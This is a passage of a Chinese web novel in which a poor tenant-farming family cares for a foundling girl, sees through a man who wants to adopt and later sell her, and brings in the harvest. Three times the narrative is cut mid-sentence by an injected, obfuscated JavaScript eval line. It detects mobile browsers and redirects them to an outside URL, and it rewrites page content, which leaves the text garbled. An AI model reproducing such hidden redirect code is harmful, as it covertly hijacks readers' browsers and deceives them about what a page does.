至于请吃酒这样的话——呸,为了交好关系,公爹哪年年关里没有请这些里正、族老吃酒说话?既吃了他家的酒肉,一点事情还要邀功拿乔。 低头对上安安乌溜溜的黑眼珠,宋氏安抚地摸摸她的头,笑道:“没事了,不用怕,都去玩吧。七月,你给她梳梳头。” “好嘞。”七月快活地答应一声,飞跑去拿梳子。 安安头发短,三两下就梳理好了,七月却还没玩够,她找来布条,饶有兴致摆弄了半天,好不容易给她扎了两个小丫角。 “娘,快看,是不是很好看?” “好看好看。”宋氏忙碌中敷衍一句,瞥见安安头上那寸长的小丫角,不禁笑道,“三岁女孩儿了,怎还没留头呢。” 梳完头,两个小孩搬板凳去堂屋门口,跟太奶奶一起排排坐晒太阳。七月却也不闲着,拿了线陀子来纺线。 农家女孩四五岁上就学针线女红,如今七月纺线的动作已经有模有样了。只见她一手絮麻,一手熟练地捻着线陀子,那线陀便滴溜溜转动起来,安安看得有趣,自己也很想试一把。 “你还不行,你太小了,我五岁才学纺线呢。”怕吵到太奶奶,七月凑近她耳边小声问,“安安,你是遇到拐子了吗?” “什么是拐子?” “拐子就是……就是哄骗小孩,想把你骗走卖掉的坏人。” “人贩子?” 七月想了想,点头:“差不多吧,反正就是偷小孩的。” 安安摇摇头,一脸认真说道:“没有,我没有遇到偷小孩的人贩子。” 七月稍稍放心了一下,不是拐子就好,随即又皱眉道:“那是谁把你扔到这儿的,难不成,你自己跑到山上去的?” 安安点点头,又摇摇头,苦着小包子脸叹了口气,她真的不知道呀。 七月也叹气,小笨蛋,怎么什么都不知道。 所谓农忙,农闲时妯娌三个一起完成的家务活,如今便只有宋氏一个人干,喂猪洗衣洒扫煮饭,一上午忙得脚不沾地。晌午时分,宋氏挑着担子匆匆下田去送饭,把家里交代给七月照看。 一个多时辰后宋氏回来,一头挑着送饭的锅碗盆,一头还挑着一筐猪草,回到家便拿了一碗秫秫出来,先放石臼里舂,簸箕去壳,仔细舂拣一遍、簸干净,才得了半碗秫米,拿温水泡上。 “娘做秫秫粥了。”七月笑嘻嘻跟安安道。 傍黑天时二郎放羊回来,又给妹妹们带了一种黑紫色的小野果回来,一嘟噜一嘟噜,小小的还没有豆粒大,七月把它叫做“黑天天”。这果子娇嫩,浆果一碰就碎成一堆黑紫色的汁水,二郎拿蓖麻叶包着,才小心翼翼带回来一捧。 黑天天好吃,咬下去酸甜的汁水就在嘴里啪一下爆开,又酸又甜,安安以前不曾吃过的。 大郎跟着爷爷和爹他们收工回来,大家都是一身泥土一身脏,一进门都忙去洗手洗脸。大郎洗完手,走过来冲着七月额头弹了下手上的水,又忍不住拿手指戳了戳安安软嘟嘟的小肥脸。 果然很软,嘻。 七月擦着脸上的水,撇着嘴抗议:“哼,大哥最坏了。” 晚饭果然吃到了滑溜溜的秫米粥。安安喜欢这个秫米粥,比昨日的杂豆粥好吃,张家人干一天重活光喝粥不行,又做了麦饼,安安咬不动麦饼,便只喝粥,混个肚儿圆。 农家不兴点灯熬油,大人们累了一天,早早歇下了,半大小子们却不嫌累,大郎带着弟弟、堂兄弟们又跑出去玩了。这一晚他们去掏鸟窝,第二天早饭便有了香喷喷的雀肉,灶膛里烧熟的,闻着就香。 “快吃吧,可香了。”七月告诉安安,“大哥他们昨晚上掏了四只,你一只,我一只,还有两只哥哥、堂哥他们四个人分了。” 安安惊奇地看着碟子里的雀肉,她其实不知道这是什么,根本没吃过。不过,好吃。就是雀肉骨小肉少,要细细地慢慢地吃,消磨了安安一早晨时间。 若告诉她那是小麻雀的肉,安安大约不敢吃。 雀肉太少,姐姐们还没吃到呢,半大姑娘的姐姐们要意思了,不屑于跟他们分那一丁点雀肉。至于大人,孙子们每每也拿来孝敬,可大人们就更不屑于跟他们分了。 张家的孙辈们除了三房张有喜的两儿两女,二房张有福两儿一女,大女儿张大姐儿十八岁,年底便该出嫁了,两个儿子张金哥十五岁,张银哥十一岁。大房张有田夫妻子嗣不顺,前后几胎都夭折了,就只养大了一个独女,特意取了个好养活的名字叫张小鼠,十四岁了。 整个张家,七月是最小的孩子,多少有几分娇惯。 不过接下来两天都没吃到野果和雀肉,二郎也下田去了。平日里不忙,二郎和张银哥两个小小子一起放羊,搭个伴,农忙时便改成一个人,两人轮流跟着大人下田干活。 如此过去两天,第三天傍晚,又是各家农人们荷锄归来的时候,里正笑呵呵来了,这次里正来的从容,便被张春山请到堂屋坐下说话。 里正说,这事情他已报给了官府,官差已然记档了。 “官府怎么说?”张春山忙问。 “官府说,辖内近日并无上报拐子的案子,”里正道,“也无法判断这孩子是拐子拐来的。不论她怎么来的,她自己这三岁年纪,又说不清楚家乡父母,那官府也没法子帮她理会。不过你家听了我的,报官是对的,若不报官她便不好附籍落户,过不了明路,万一再牵扯上旁的麻烦。” “是这个理,可要多谢里正了。”张春山忙又问道,“只如今这么大孩子了,活生生的一口人,眼下该如何安置她?” 里正明白他那意思,呵呵笑道:“就是这话,眼下官府那边也没有旁的法子,若是她自家走丢的,她爹娘报了官,官府自会找你,这之前便只好你家先暂养了。” 话说到这儿,大家却也都心知肚明,这孩子情况种种,先不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004248|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十有八九是被故意抛弃,便是被拐,或者自己走失的,茫茫人海找到家人几无可能。 张春山道:“不瞒里正说,我也不懂什么律法,原本只琢磨着托你帮她寻一个收养的人家。” 里正道:“等我这几日帮你跟四周村镇、其他各个相熟的里正知会一声,看有没有人家愿意要,若是她运气好,遇上合适人家想收养的,倒也成全了你家这一番善心。” 张春山点头,叹气。 偌大孩子,日日要吃饭的,还要人照看。 里正慢悠悠喝了一口茶,说道:“不过也不是没有旁的地方,这事也亏得我去办,我跟那官差好歹有些交情,他说你家若是养不了,可以送去沂州城东二十里外的慈净庵,那里的尼姑们收养弃婴,官府遇到弃婴遗孤也会送去寄养,有想领养的人家便也会去找她们领养。” 张春山看了旁边的张有喜一眼,笑道:“出家人心善。” “心善。”里正道,“不过你也知道,庵堂里那日子,听说几个尼姑前前后后收养了不下百十个弃婴,全靠好心人布施度日,也是够艰难的。养活是命大,养不活那也是命。” 里正一走,张春山看了看跟前等他拿主意的儿孙们,只说道:“先吃饭吧,横竖也得等明日再说。” 张有喜和宋氏心里不免担忧,小孩小,听着那庵堂里的日子只怕不太好过,可又不知该怎么开口,毕竟家里也有家里的难处,总不是长久之计。 谁知他夫妻两个还没说话,几个孩子先撺掇起来了。饭后几个孩子都不肯走,跟张春山说,要不就把那小孩多留几日吧。 大郎道:“爷爷,那小孩之前就吓得够呛,受惊的雀儿似的,这几日在咱家刚刚熟悉一点,忽然再送她去那么远的庵堂,再转一遭,又不知得吓成什么样,怪可怜的。” “对呀,”腊月也说道,“爷爷,能不能再留她几日,咱们好事做到底,说不定过两日就找到人家收养她了呢。” “哪有那么容易。”余氏道,“这秋收大忙的,家里还得分神管她,再说早晚都得送走,若是一直没人收养,你难不成就一直养着?送去庵堂自有尼姑们照看,不就不急躁了吗。” 大郎说道:“她很乖的,整日就跟在七月后头,也不闹人。” 七月没在,这几日七月一直跟安安在他们屋里吃晚饭,七月十分喜欢这个乖巧的小妹妹,大郎担心若是七月知道了,只怕要闹小脾气。爷爷素来看重他这个大孙子,爹娘又不好开口,便只能他来商量了。 人是三房的,也是三房照看,所以大房二房两家人都没发言,只等着张春山表态。 “先等等吧。”张春山沉吟道,“你们莫忘了,咱这到城东还老远的,送去城东二十里的慈净庵,来回七八十里路,一个人怕还不行,好歹两个人搭伴走路,一来一回足足就得一整日,眼下家里哪有这工夫。” “咱家孩子旁的不说,心眼都是极好的,大郎救她一回,腊月也说了好事做到底,我看要不就多留她几日吧,一日两碗粥的事情。”张春山道。 七月和安安那边还不知道发生了什么呢,这事便这么定下了。 只是张家人也没想到,只隔了短短一日,第二天下午,便有人主动找上门来要收养安安。 5. 第 5 章 来人自称姓焦,四旬年纪,骑驴,穿一件细布交领袍,在沂州城中开个小铺子营生,膝下只得了三个儿子,没有女儿,因此便想要收养一个女儿。 这么说,也算是城中殷实人家了。宋氏不禁暗自高兴,安安若能叫这样的人家收养,能进城,起码冻饿不着。 宋氏便问道:“焦官人来得可快,你既住在城里,怎知我们家中捡了个孩子的?” 焦官人笑道:“说来也是巧了,该到我和这孩子有缘,昨日我去衙门办事,恰好遇见贵地的里正也去报官,我在旁边听了几句,那里正说完事情就匆匆走了,我问了官差才知道详细,我便留了心,回去跟家中商量过后,因此今日才上门来拜访。” 彼时天刚过晌,家中男人都下田去了,家里除了太奶奶和两个小孩,就只有宋氏在。他一个陌生的成年男子,宋氏也不好招待,便拿了板凳,倒了茶水叫他院里坐下说话。 那焦官人提出要先见见孩子,宋氏便叫了七月和安安出来。 “这就是那孩子?”焦官人拉着安安上下打量了一番,笑道,“这孩子我很喜欢,回城路途不近,张娘子若是答应,我这就带她家去了。” 陌生人打量的目光让安安莫名畏惧,一听这话,吓得赶紧往后挪,小步跑到宋氏身边,抱着宋氏的胳膊躲在她背后。察觉到小孩害怕,宋氏忙安抚地拍了拍她。 这人也忒急性子了,宋氏心道,先不说他来了没有半盏茶工夫,话都没说几句就要带孩子走,他这身家来历可都是他一张嘴在说,谁知道真的假的。 事关孩子,宋氏可不敢大意。 宋氏顿了顿,抱歉笑道:“不怕焦官人笑话,焦官人想收养她我们自是乐意,可您瞧我一个妇道人家,上头还有公婆、丈夫在呢,这事情说大不大,却没有我擅自做主的道理,总得等公婆和夫君回来说上一声。” “这……”焦官人面有难色,迟疑道,“张娘子,不瞒你说,我明日还要出趟远门做生意,所以今日才着急接了她回去,若再拖延,明日是来不成了,我这一走少说一两个月,也不知哪天还能再来接她,总不好叫你家再帮我养一两个月。” 没等宋氏开口,焦官人又连忙说道:“张娘子,我就住在这沂州城里,我那铺子就在城北大街,不信你只管去瞧。我家中衣食不愁,自不会亏待她,所以你只管放心,我接她回家就养做女儿,正经给她申官附籍。” 宋氏听他说的合理,可即便这样,她也不敢就这么冒然把孩子交给他带走了呀,但是一拖延就要一两个月…… 宋氏一时左右为难,再三斟酌后索性说道:“确实不好耽误你行程,要不请焦官人再坐一会儿,我这就叫人去找我公婆、丈夫回来。” 秋收大忙家家忙,村里除了老弱妇孺就没有闲人,宋氏思量着,也只能叫七月跑一趟了。 “七月,你往村西豆田里去寻你爹和你爷爷。”宋氏想了想又嘱咐道,“叫你爹顺道把里正叔也请来一趟。” “那要等多久?”那焦官人抬头看着天色道,“我怕耽误太晚,回城要走夜路的,带个孩子走夜路怎行。张娘子还有什么不放心的,还是因这孩子在你家养了几日,张娘子想要些钱财补偿?” “你这叫什么话!”宋氏闻言生气道,“我何曾问你要钱了?” “张娘子莫恼,我不是要冒犯你。”焦官人道,“我只当你家是做好事,张娘子明知我不凑巧,我大老远来一趟,你却这般推三阻四,不肯把孩子给我,你若是想要些钱财补偿也无不可,你说就是。” 说着他伸手去拉安安,口中哄道:“孩子你过来,我接你家去好不好?我家里有吃有喝,带你去买糖吃。” 安安吓得往后一缩,哇一声哭了起来。 宋氏脸色一变,忙叫七月领着安安回屋。 “呔,哪来的贼人!”一声大喝,堂屋门口晒太阳的太奶奶忽然睁开了眼睛,颤巍巍站起来,拿拐杖比划着那人骂道,“你敢抢我孙儿,看我不打死你。” 那焦官人冷不丁唬了一跳,连忙闪开,一看竟是个站都站不稳的白发老太太,顿时气恼道:“你们这家子怎么回事,讲不讲道理,这孩子是你们捡的,又不是你家的,我好心要收养她,你们凭什么这般为难我,这还敢打骂我了?” “到底谁不讲道理!” 宋氏可不是好性子的,脾气一上来,便冲着那焦官人怒道,“我说你这人看着体体面面的,你讲的什么道理?别说一个孩子,便是小狗小猫,也不能你平白几句话我便交给你带走了吧,我又不认得你,谁知道你什么底细!” “我能有什么底细!”那人也跳脚嚷道,“你这妇人,你就直说吧,到底给不给我,不给我你就继续养着吧,就这么个小丫头,就你家这穷家破院的,我家是什么日子,我好心收养她,你倒还不领情了!” “我领你什么情?”宋氏,“你若当真好心,就等我公爹、丈夫和里正都回来,查实清楚了,我给你赔罪就是。你若是瞧着我这老弱妇孺好欺负,你可就错眼了!” 对方虽是个壮年男子,可对上宋氏这般泼辣凶悍的村妇,又是在人家家里,却也讨不到便宜,于是吵了几句,那焦官人竟骂骂咧咧骑上驴走了。 他一走,宋氏便越发认定这人有鬼。她吵架吵得气势十足,其实色厉内荏,哪里能不怕的,怕那人万一再折返回来使坏,宋氏赶紧关好大门,插紧门栓,叫两个孩子都不许出去。 宋氏把太奶奶扶到屋里歇息,一回头七月领着安安跟在她身后,七月鼓着脸道:“娘,你跟爷爷奶奶说说,就把安安留下吧,正好我想要个妹妹。” “说的傻话,咱们自家都穷得揭不开锅了,能给她什么日子过,还不如给她找个妥当的好人家收养,兴许还有好生活。” 宋氏蹲下来,拉着安安的手柔声道,“安安,不是姨母不想留你,实在是姨母家里太穷了,顾不了你。你别怕,姨母肯定不会把你给坏人的。” 安安眨巴着湿漉漉的眼睛不作声,她刚才哭过,长睫毛一绺一绺粘在一起,扑闪扑闪地不说话。 宋氏心里暗暗叹了口气。 晚间从田里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004249|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,张有喜听宋氏一说便皱了眉头,安抚道:“这人怕不是什么好的,要收养他当时怎不就跟里正提,今日又跑来家里诓人?你也不必担心,在咱村里量他也不敢怎样,只是把孩子看好了要紧。” “我知道,你放心。”宋氏点头道,“不光安安,七月我也不叫她出大门,就看在家里。” 张有喜去找了里正一趟,回来跟宋氏道:“里正昨日去官府,并无留意到这么个人。他也说这人怕是有鬼,等他哪日再进城,就去帮忙打听。” 几日后里正进城回来,把事情一说,张有喜险些气炸了肚皮。 原来这焦官人正经名字叫焦虎,诨名“焦虫儿”,确实在城中开了一爿小铺子,卖些子针头线脑之类,他家中也确实三个儿子,只是他有一桩事情为人不齿,周围一打听,左邻右舍不少人都知道。 焦虫儿有个亲兄弟早几年死了,弟媳改嫁,弟弟的子女便交由他抚养。这人对他侄子侄女很不好,把他侄子侄女当下人使唤不说,等侄女年岁到了,他说没钱给不起嫁妆,先是将他大侄女卖给富贵人家当女使,二侄女因为生得貌美,巧不巧被城中大户看上,他竟又将十五岁的二侄女给了那家半百老头子做妾。 可怜他那侄子才不过十几岁上,还撑不起门楣,因姐姐的事情与他争执被他扣了个“忤逆”,一顿好打,如今整日在他打骂下熬日子。 并且就算做妾,若是良家妾也要正经走礼、陪嫁的,他为了钱财竟然卖断了侄女身契,让侄女成了侍妾,前几日在官府遇到里正,可不就是他去官府过侄女的卖身契。 这一来一去,美美到手几百贯钱,只丢了天理良心。可这人不光不以为耻,竟还沾沾自喜了,当做一桩横财,因此他当时听到里正说张家捡了个女童,又听到说那女童相貌极好,生的十分漂亮可爱,便寻思着但凡领回来养个几年,哪怕五六岁上卖给富贵人家为奴,也能卖个好价钱,无本万利的好买卖。 于是这焦虫儿便动了歪心思,寻思着乡下人好哄,哪知道碰上宋氏这个泼辣厉害的,又怕里正来了眼熟认出他,这才赶紧溜了。 “入娘贼,世上怎有这样猪狗不如的东西,气死我了!”张有喜气得骂骂咧咧。 “这世道,什么样人没有。”宋氏顿了顿,随意闲聊的口吻说道,“安安都吓哭了,这等事别说小孩,大人心里都膈应。小孩子可人疼的,七月那天还跟我说,要留着安安当妹妹呢。” 张有喜搓了下额头没接茬,转身去给自己打洗脚水。 一个院住着,大哥二哥那边都是两个嫂子端洗脚水,为此哥嫂背地里没少拿他说笑。 莫说他们家,这世间谁家不是做妻子的伺候丈夫,伺候丈夫本就是妻子的本分,毕竟男人才是一家之主,男人要撑起门楣,要赚钱养家、出大力扛重活的。像这样农忙时节,男人在田里那都是当牛使,一天下来不知得出几斤汗。 可是宋氏当初满心欢喜嫁给他,跟着他吃苦受穷,给他生了四个孩子,缝补浆洗、伺候一家老小就够辛苦了,张有喜哪舍得再给她添累。 6. 第 6 章 焦家之事的真相令宋氏后怕不已,亏她那时还觉得这家境况不错,又是城里人,险些就将安安交给他了。 宋氏满心后怕,便起身去隔壁屋里,在女儿们的床边坐了好一会儿。 到底是小孩子,七月和安安早已经忘了几天前陌生人带来的惊惧,两人洗了脚,便坐在被子上,岔开腿围个圈,脚丫抵着脚丫玩“抓籽”。 七月很会玩抓籽,那五颗石子在她手里像绑了线似的,围着她的手上下翻飞,可就是不掉,一边把石子抛得花样百出,一边七月嘴里还念念有词,有一整套的抓籽歌谣。 轮到安安了,安安那两只肉嘟嘟的小手勉强能抓住两颗石子,抛起来再想接住,那石子却不肯听话,安安明明把小手张开等着呢,石子却压根不往她手里去,一下子不知滚哪儿去了。 安安傻乎乎看看手心,再看看七月,两个小孩脸对脸一起傻笑,然后前后左右地到处找。腊月就坐在床边绩麻,时不时被小两只逗得发笑。 宋氏就坐在床边,也拿做了一半的麻鞋来赶工,不嫌烦地看着孩子们闹腾。这七八日下来,安安跟家里几个孩子熟悉起来,脸上也看见笑容了。 刚来那几天,这孩子整日怯生生的,让干啥干啥,让吃饭就吃饭,让睡觉就睡觉,不干什么的时候就默默坐着小板凳装蘑菇,乖巧得让人心疼。 “娘,你们怎么还没睡。”大郎探头探脑地进来,看见宋氏手里的活计笑嘻嘻问道,“这新鞋是给我做的吗?” “噫,”七月撇嘴嫌弃道,“大哥,你也不看看你那大脚丫子,你能塞进去吗,人家那是给安安做的。” “对,是安安的,姨母说了给安安的!”安安也点着小脑袋强调。 安安穿着七月的旧鞋子大了,走路像撑船,大郎哪能不知道,原本就是故意逗她们玩,于是笑道:“我怎么塞不进去了,拿来我穿试试。” 二郎跟着进来,站在床边问道:“七月,安安,明日又轮到我放羊了,你们想吃什么野果子?我给你们摘。” 张有喜随后也进来了,他刚洗完脚,靸着鞋披着衣裳,一脸嫌弃地赶人:“睡觉睡觉,怎么都不睡觉,也不嫌点灯熬油。” “睡觉睡觉!”大郎二郎也笑嘻嘻跟着说,大郎推着二郎往外走,走到门口又回头问妹妹们,“你们怕不怕黑?别怕有我呢,我给你们当守卫。” 大郎得知那焦家的事情也气得够呛,更多则是少年人随之而来的责任感和使命感,他这会儿看着家里的妹妹们,一个个都很需要他的保护。 “睡你的吧!”腊月瞥着他笑道,“大哥,我们不怕的,你放心好了。” 一句“放心好了”却让宋氏又添了担心,出门后仔细帮女儿关好门,小声嘀咕道:“你说那人……还会不会再来?” 张有喜道:“他敢!都已经被你识破了,再说在村里他敢怎样。” “来了正好。”大郎发狠道,“腌臜东西,他还敢来,看我叫他怎么死!” 打肿他的脸,捏碎他的狗卵子,再用力地踩上两脚……张大郎光想一想都觉得痛快,兜头却挨了一巴掌,然后便被他爹训斥了。 “你少莽撞!兔崽子,你给我记住了,真有这等事你可不许胡来,你这不知轻重的,你老子还在呢,我跟你大伯二伯自不会让他。” 张有喜对自家这个长子没法不担心,少年人逞勇斗狠,没个轻重,热血一冲脑子就不够使,没的触犯律法进大牢。 尤其他这儿子,有事没事总觉得他老子窝囊、他娘抠搜,私底下不太听话的,总幻想着扬名立万光耀门楣,比如喜欢说什么“莫欺少年穷”……张有喜倒不是嫌弃他这个好大儿,毕竟他自己也曾年轻过,似乎也说过此类的话,只是一晃人到中年,才渐渐学会认命二字,那些子豪言壮志一点点消磨,剩下的惟愿家人安康、衣食温饱了。 ………… 一连抢收五六日,一家人紧赶慢赶把黄豆收割完毕,稍稍松口气,接下来便是盼着能有几日晴好天气,把黄豆打下来、晒干。 婆婆余氏素来就有腿疾,经常腿疼,大嫂耿氏身子又弱,眼见安安的事情一时半会解决不了,宋氏便跟大嫂商量着,换了婆婆和大嫂两人回家做家务,宋氏下田干活。 宋氏下田,便只能把七月和安安也带上,于是安安这些日子头一回踏出张家的院子,跟着大人们来到了田庄。男劳力们去打场,宋氏和吴氏带着家里的女孩子们去摘绿豆。 摘绿豆看似轻松,实则是个很累腰的活儿,累腰又累腿,不小心还会扎手。绿豆跟黄豆不一样,绿豆的豆荚是陆陆续续成熟的,不能一起收割,成熟的豆荚由绿色变成黑色,便要及时摘下来,不然太阳一晒,豆荚就炸开了,绿豆们可就逃之夭夭了。 安安人小,还没有绿豆秧子高呢,宋氏给安安头上戴了个斗笠,原本叫她就在旁边玩。可安安也跃跃欲试,她跟在七月身后,踮着脚,小手抓住几根细长的黑色豆荚,使劲儿往下拽。 “嘿!”小孩不自觉发出用力的声音,成功拽掉几根豆荚,颇有成就感地自己高兴了一下,把豆荚放进篮子里。 “安安真能干!”腊月笑着夸她。 这一夸更有干劲了,小孩硬是吭哧吭哧摘了好一会儿,看得宋氏失笑,拦住她道:“你们可别叫她摘了,就她那小嫩手,摘不了几个,回头再磨得手疼。” 中午就在田埂上吃了带来的干粮,孩子们在田头休息片刻,宋氏和吴氏背着两筐摘下来的绿豆先送到场上去,从场上回来,下午接着收割芝麻。 芝麻利用的零碎边角地,沿着沟渠种在田埂上,望过去长长一排,芝麻杆子依旧比安安个子高。 这活儿安安可干不了,小孩子谁敢让她拿镰刀,别说安安了,七月也只被指派把割下来的芝麻杆收拢到一起。安安便自己呆在田边玩,小小的身影坐在田埂上,不哭不闹地看着大人们干活。 远远的一群人沿着田边小路过来,田间劳作的男子纷纷唱喏问候,妇人们则低头做出忙碌的样子。 “瞧见没,前面魏庄头陪着的那个穿酱色袍子的,便是主家来的管事。”吴氏小声跟宋氏道,“也不知这人好不好说话,今年能给咱们估多少。” 主家怕庄仆和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004250|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佃户们瞒报产量,每年夏收秋收都要派人来坐镇,庄稼提前估产,这可关系到庄仆和佃户们最终要交多少粮食,是庄仆和佃户们不能不关心的一桩大事。 宋氏瞅了一眼,低头叹道:“管他来的哪个,横竖都是主家老爷派来的,总不会向着咱们这些佃户。” “说是这样说,遇到那心黑刻薄的,就格外难缠。”吴氏也叹气道,“今年再加半成牛米,日子真没法过了。” 魏庄头几人陪着那管事一路走过,经过张家的田边时,那管事偶然瞥了安安一眼,再一眼,咦了一声停住脚,盯着又瞅了几眼。 “梁管事,您看什么呢?”魏庄头哈着腰殷勤道,“这块地种的豆子,已经收割了,咱们之前已看过了的。” “那也是庄子上的家生子?”那管事下巴指了指安安问。 “梁管事,您说哪个……”庄头赶紧瞧过去,眯眼说道,“不是庄子里的,这边田地都是佃出去的,应当是哪个佃户家的。” “佃户的孩子?倒是一副好相貌。” “可不是么,白白胖胖的,瞧着倒不像个庄户丫头了。”魏庄头赔笑道,“这眉眼,长大一准是个美人胚子。” “你懂什么。”梁管事轻蔑斥道。 他说的可不只是皮相。 梁管事沉吟片刻,他家主人喜读《周易》,专攻命理相术之说,而他作为主人身边得力的管事,也算有些见识了,多少熏陶一二,略懂一点相术,虽不精通,却也看得出这女童小小年纪便相貌不俗,正所谓天庭饱满,鼻直丰隆,唇红发乌,竟是难得的一副好面相。 按照主人的说法,似乎是天生的富贵相? 可也难说,正所谓人的命天注定,世间万事皆有可能,端看当今那位先刘太后就知道了。 当然,本身这皮相也是极好,确实是个美人胚子。可惜他毕竟只略懂些皮毛,这孩子年纪又小,还没长成呢,更多的便看不出来了。 田庄里来来往往到处都是忙碌的农人,他们一行人在这里停住脚,安安起初倒也没被影响到,可是几人一直瞅着她不走,安安便不免害怕了,爬起来翻过田埂,踩着田垄歪歪扭扭往宋氏那边跑。 梁管事瞅着她小小的背影,低声吩咐道:“问问哪家的,你把她八字拿来我瞧瞧。” “是,”魏庄头忙道,“您稍等一刻,小人这就去问问。” “莫要大张旗鼓。”梁管事一脸嫌弃道,“蠢物,你叫人私底下问。” 魏庄头连声答应着“明白明白”。 安安追上宋氏和七月她们,回头瞧见那些人走了,便依旧乖巧地坐在田埂上玩耍等待。 一直等到太阳发红西坠,芝麻都割完了,宋氏和吴氏赶紧又打了一筐猪草,这才把芝麻杆打成捆,吴氏和宋氏一人挑着两大捆,张大姐儿背一捆,腊月背一捆,张小鼠背着猪草,一行人披着夕阳往场上去,后头再跟着两条蹦蹦跳跳的小尾巴。 七月领着安安边走边玩,一边摘花惹草捉小虫,一时被路边的什么吸引住了,玩得掉了队,前边腊月招呼一声,两小孩赶紧撒丫子追上。 7. 第 7 章 大场上一片热火朝天的景象,男劳力们刚刚打完场,这会儿挑草的挑草,扬场的扬场,要趁着风势尽快把黄豆扬出来,再仔细挑拣干净。不然豆子混在潮湿的泥土草屑里闷不透风,很容易霉变。 打场属实是农家最脏最累的活儿了,只看大郎吧,这会儿大郎浑身的灰尘泥土,头发上落了一层碎草屑,连鼻孔和睫毛上都一层灰。 原本还好,一瞧见宋氏她们过来,大郎便把草叉一扔,张开胳膊大字型往草堆上一倒,夸张叫道:“哎呦,可累死我了!” “大哥,大哥辛苦了!”安安心疼地跑过去,蹲在他脑袋边上,赶紧把兜里的酸枣给他喂了一颗。 “对对,大哥辛苦了。”大郎嚼着酸枣哼哼唧唧道,“小安安,大哥不行了,快给大哥喝口水。” 安安屁颠屁颠跑去场边拿装水的葫芦,大郎坐起来咕嘟咕嘟喝水,安安又去给他拍身上的灰,大郎越发一副少气无力的样子,哼哼唧唧使唤她:“安安,给我捶捶肩膀,再给我吃颗枣,我累死了。” 安安忙又喂了他一颗,七月却蹲下来,笑嘻嘻抓了一把豆草盖在他肚子上。 “安安,你离他远点儿,弄你一身灰。”二郎抱着扫帚笑道,“大哥,连七月都笑话你了。” 也就安安还吃他这套。 “二郎,你小时候可好玩儿了,越长大越讨厌。” 大郎话音刚落,一叉草兜头落到他身上,差点没把他埋进去,大郎连滚带爬地躲开,张金哥偷袭成功,一边得意地哈哈大笑一边拖着草叉逃跑,招呼帮手:“二郎,银哥,咱们一起埋了他。” 张大郎抓起一把草冲他扔过去,堂兄弟们瞬间嬉闹到了一起。 张春山坐在场边喝水休息,一边挑剔指导三个儿子扬场,一边笑吟吟看着孙子们嬉笑打闹。紧张劳累的一天下来,打场已算是顺利完成,孙子们这会儿也就做些堆草收尾的工作。 只张有喜笑骂了一句:“娘的,一个个还是不累。” 还有力气闹腾。 宋氏和吴氏来了以后,放下挑子便拿起工具,帮着一起堆草收拾,张大姐儿、腊月和张小鼠也纷纷加入干活,小小孩们被使唤去场边捡那些逃跑的豆子。 从场上回到家,余氏和耿氏早早烧好了热水,等着他们洗漱,一家人收拾了吃饭。这段日子下来,安安慢慢开始适应张家的生活,认识了张家其他的人,也敢于跟着七月去堂屋吃饭了。 今天活儿尤其重,晚饭是熬得稠稠的麦仁粥,和一碟浇了蒜泥的蒸茄子,一碟水煮的冬瓜,搁在村里谁家饭桌上,也算是郑重的一餐了,余氏又端出来两碗“鸡蛋茶”,一碗端给太奶奶,一碗放在张春山面前。 这鸡蛋茶做起来十分简单快捷,把一个鸡蛋打到碗里搅散,拿滚开的水一冲,边冲边拿筷子顺一个方向搅,搅成细碎的蛋花,这就成了,滴两滴麻油,撒一点盐,便是无上美味,素来是村里人待客、补身的好东西。 毕竟鸡蛋这东西跟油、盐一样,都很金贵。 张春山看看跟前一堆的孙子孙女,目光落在顶小的七月和安安身上,顿了顿说道:“我吃这个做什么,给小孩吃吧。” “爹,你吃。”张有喜道,“一天累到晚,怕你身子扛不住,以后叫娘也别太节省,每天晚上给你冲一个,你吃了好睡觉。” “用不着,”张春山笑道,“我这把年纪,啥好东西没吃过,给孩子吃。” “小孩长大了啥好东西吃不到。”宋氏道,“爹,您吃,没的惯坏小孩子。” 他们说话快,安安只能听个半懂不懂,家里人如今跟她说话,都会习惯地放慢一些语速。所以安安的心思完全没在那碗鸡蛋茶上,也没觉得那会是多么好吃的东西,毕竟她以前都没吃过这种。 安安这会儿的注意力都在跟前那碗粥上,麦仁粥,煮熟的麦仁香韧弹牙,硬硬的,可难可难嚼了,要一粒一粒嚼碎才行,累得她腮帮子酸。 张家人吃饭都是端着个大碗,囫囵喝得畅快,也因此安安每次半碗粥,却要比旁人整顿饭吃得还慢。一碗粥是吃不了的,张家的土陶碗赶上她脑袋大。 